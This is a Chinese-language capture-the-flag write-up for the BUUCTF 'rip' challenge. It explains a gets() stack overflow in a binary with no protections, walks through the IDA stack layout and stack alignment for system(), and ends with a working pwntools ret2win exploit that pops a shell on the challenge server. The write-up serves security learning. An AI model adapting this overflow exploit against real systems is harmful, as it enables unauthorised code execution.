https://buuoj.cn/challenges#rip

nc 发现可以输入字符,然后得到返回

https://blog.csdn.net/qq_45691294/article/details/110959284

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable
RWX:      Has RWX segments

这里什么都没开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF
 
  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

gets 没有限制输入,存在 栈溢出 的漏洞,在字符串表里面发现了 /bin/sh 的字符,可以通过将 fun 函数的地址覆盖到返回地址就可以实现获得系统权限

双击 s 查看 s 在栈上的位置

-0000000000000010 ; D/A/*   : change type (data/ascii/array)
-0000000000000010 ; N       : rename
-0000000000000010 ; U       : undefine
-0000000000000010 ; Use data definition commands to create local variables and function arguments.
-0000000000000010 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000010 ; Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010 ;
-0000000000000010
-0000000000000010                 db ? ; undefined
-000000000000000F s               db ?
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

Two special fields ” r” and ” s” represent return address and saved registers.

  1. rame size: 10:这是指当前函数调用的栈帧大小为 10 个单位(通常是字节)。栈帧是函数调用时在栈上分配的一块内存,用于存储局部变量、返回地址和其他信息。

  2. Saved regs: 8:这是指在当前函数调用中保存了 8 个寄存器的值。寄存器是处理器中的高速存储单元,用于临时存储数据。保存寄存器的值是为了在函数调用结束后能够恢复这些寄存器的原始值。

  3. Purge: 0:这是指在当前函数调用中没有清除(purge)任何参数或数据。清除操作通常用于释放不再需要的内存或资源。

栈如果要想象的话还是用一个下拉的帘子比较好想,或者是一个可伸缩的水桶,伸缩的方式是调整底部(像手风琴一样往下拉或者往上推),填写数据的时候就像往里面加水,如果没有限制水就会往上漫覆盖掉上面的东西

这里上面有什么呢?怎么确定倒多少水怎么样的水才能达到跳转到 fun 的目的呢?

通过查看栈,发现需要填充 15 字节的无意义数据,填充 8 个字节的 s(也就是 bp 的值),然后就是我们想要修改的 8 个字节的 r 的值

于是用 python 的 pwn 库编写 exp

gdb

leave 汇编指令

ret 汇编指令

修改 r 的值的时候,这里有一个坑:调用 system 的时候会检测栈区有没有对齐 栈区对齐

如果正常调用 fun 的话,在调用 system 的时候 sp 此时是这个状态

RBP  0x7fff09fd1718 ◂— 'aeaaafaa'
 RSP  0x7fff09fd1718 ◂— 'aeaaafaa'
*RIP  0x401191 (fun+11) ◂— call 0x401040

所以在进入 fun 的时候要跳过 push ebp,把栈对齐了

因此编写 exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64, u64, p32, u32
import os
 
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
context.arch = 'amd64'
 
host = 'node5.buuoj.cn'
port = 26921
fileName = './pwn1'
# libcName = './libc.so.6'
# r = process(fileName)
# r = remote('127.0.0.1', 10001)
r = remote(host, port)
elf = ELF(fileName)
# libc = ELF(libcName)
 
 
# def debug(p, cmd=''):
#     if os.environ.get('VSCODE_INJECTION', None):
#         return
#     gdb.attach(p, cmd)
#     pause()
 
 
# debug(r)
 
payload = cyclic(15+8)+p64(0x401186+1)
r.sendline(payload)
 
r.interactive()